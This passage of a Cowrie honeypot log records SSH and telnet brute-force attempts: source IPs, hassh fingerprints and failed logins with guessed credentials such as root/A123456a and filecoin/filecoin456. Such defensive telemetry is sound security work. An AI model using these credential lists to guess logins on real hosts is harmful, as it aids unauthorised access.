cm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:00.437467Z","src_ip":"103.149.28.157","session":"d38834ff5ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:01.181734Z","src_ip":"103.149.28.157","session":"d38834ff5ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:02.435743Z","src_ip":"103.149.28.157","session":"d38834ff5ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":37582,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c60031896f5","protocol":"ssh","message":"New connection: 85.215.121.209:37582 (10.17.0.5:22) [session: 4c60031896f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:15.797215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:15.799947Z","src_ip":"85.215.121.209","session":"4c60031896f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:15.898723Z","src_ip":"85.215.121.209","session":"4c60031896f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashwallet","password":"dash123","message":"login attempt [dashwallet/dash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:16.196487Z","src_ip":"85.215.121.209","session":"4c60031896f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:17.300072Z","src_ip":"85.215.121.209","session":"4c60031896f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c84d6c3fa1a1","protocol":"telnet","message":"New connection: 170.64.224.25:37252 (159.203.135.109:23) [session: c84d6c3fa1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:24.662311Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:24.806462Z","src_ip":"221.229.220.180","session":"09f14adbf6d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55302,"dst_ip":"159.203.135.109","dst_port":22,"session":"c400fd6b3a61","protocol":"ssh","message":"New connection: 160.187.174.22:55302 (159.203.135.109:22) [session: c400fd6b3a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:27.276815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:27.293293Z","src_ip":"160.187.174.22","session":"c400fd6b3a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:27.523231Z","src_ip":"160.187.174.22","session":"c400fd6b3a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:28.499789Z","src_ip":"160.187.174.22","session":"c400fd6b3a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:29.750365Z","src_ip":"160.187.174.22","session":"c400fd6b3a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.264737129211426,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:30.940539Z","src_ip":"170.64.224.25","session":"3fb0bc2d7a4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":49766,"dst_ip":"159.203.135.109","dst_port":22,"session":"c88a0e798147","protocol":"ssh","message":"New connection: 173.236.247.120:49766 (159.203.135.109:22) [session: c88a0e798147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:31.528007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:31.535714Z","src_ip":"173.236.247.120","session":"c88a0e798147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:31.548870Z","src_ip":"173.236.247.120","session":"c88a0e798147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"filecoin","password":"filecoin456","message":"login attempt [filecoin/filecoin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:31.589200Z","src_ip":"173.236.247.120","session":"c88a0e798147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:32.605152Z","src_ip":"173.236.247.120","session":"c88a0e798147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49214,"dst_ip":"159.203.135.109","dst_port":22,"session":"c980d86f6f73","protocol":"ssh","message":"New connection: 160.187.174.22:49214 (159.203.135.109:22) [session: c980d86f6f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:56.317447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:56.321634Z","src_ip":"160.187.174.22","session":"c980d86f6f73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:56.551827Z","src_ip":"160.187.174.22","session":"c980d86f6f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:57.246312Z","src_ip":"160.187.174.22","session":"c980d86f6f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.134.124.8","src_port":43800,"dst_ip":"159.203.135.109","dst_port":23,"session":"484ffca8fd33","protocol":"telnet","message":"New connection: 8.134.124.8:43800 (159.203.135.109:23) [session: 484ffca8fd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:57.646694Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":32950,"dst_ip":"10.17.0.5","dst_port":22,"session":"853078a3025e","protocol":"ssh","message":"New connection: 91.92.40.4:32950 (10.17.0.5:22) [session: 853078a3025e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:57.738898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:57.742719Z","src_ip":"91.92.40.4","session":"853078a3025e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:57.824451Z","src_ip":"91.92.40.4","session":"853078a3025e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123","message":"login attempt [user/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:58.073292Z","src_ip":"91.92.40.4","session":"853078a3025e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:58.481001Z","src_ip":"160.187.174.22","session":"c980d86f6f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:59.157175Z","src_ip":"91.92.40.4","session":"853078a3025e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.97704744338989,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:59.639241Z","src_ip":"170.64.224.25","session":"c84d6c3fa1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":50664,"dst_ip":"10.17.0.5","dst_port":22,"session":"a33afdd3e7ff","protocol":"ssh","message":"New connection: 194.36.147.215:50664 (10.17.0.5:22) [session: a33afdd3e7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:06.858631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:06.862367Z","src_ip":"194.36.147.215","session":"a33afdd3e7ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:06.950240Z","src_ip":"194.36.147.215","session":"a33afdd3e7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"swyftx","password":"swyftx123","message":"login attempt [swyftx/swyftx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:07.206336Z","src_ip":"194.36.147.215","session":"a33afdd3e7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:08.295693Z","src_ip":"194.36.147.215","session":"a33afdd3e7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":34924,"dst_ip":"10.17.0.5","dst_port":22,"session":"4abcf895b8e5","protocol":"ssh","message":"New connection: 80.66.85.226:34924 (10.17.0.5:22) [session: 4abcf895b8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:13.015785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:13.019413Z","src_ip":"80.66.85.226","session":"4abcf895b8e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:13.108113Z","src_ip":"80.66.85.226","session":"4abcf895b8e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vkoomare88","message":"login attempt [root/vkoomare88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:13.375499Z","src_ip":"80.66.85.226","session":"4abcf895b8e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:14.464776Z","src_ip":"80.66.85.226","session":"4abcf895b8e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40178,"dst_ip":"159.203.135.109","dst_port":23,"session":"649e219cfc5b","protocol":"telnet","message":"New connection: 170.64.224.25:40178 (159.203.135.109:23) [session: 649e219cfc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:17.258703Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38142,"dst_ip":"159.203.135.109","dst_port":22,"session":"790910196554","protocol":"ssh","message":"New connection: 160.187.174.22:38142 (159.203.135.109:22) [session: 790910196554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:25.092968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:19:25.096854Z","src_ip":"160.187.174.22","session":"790910196554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh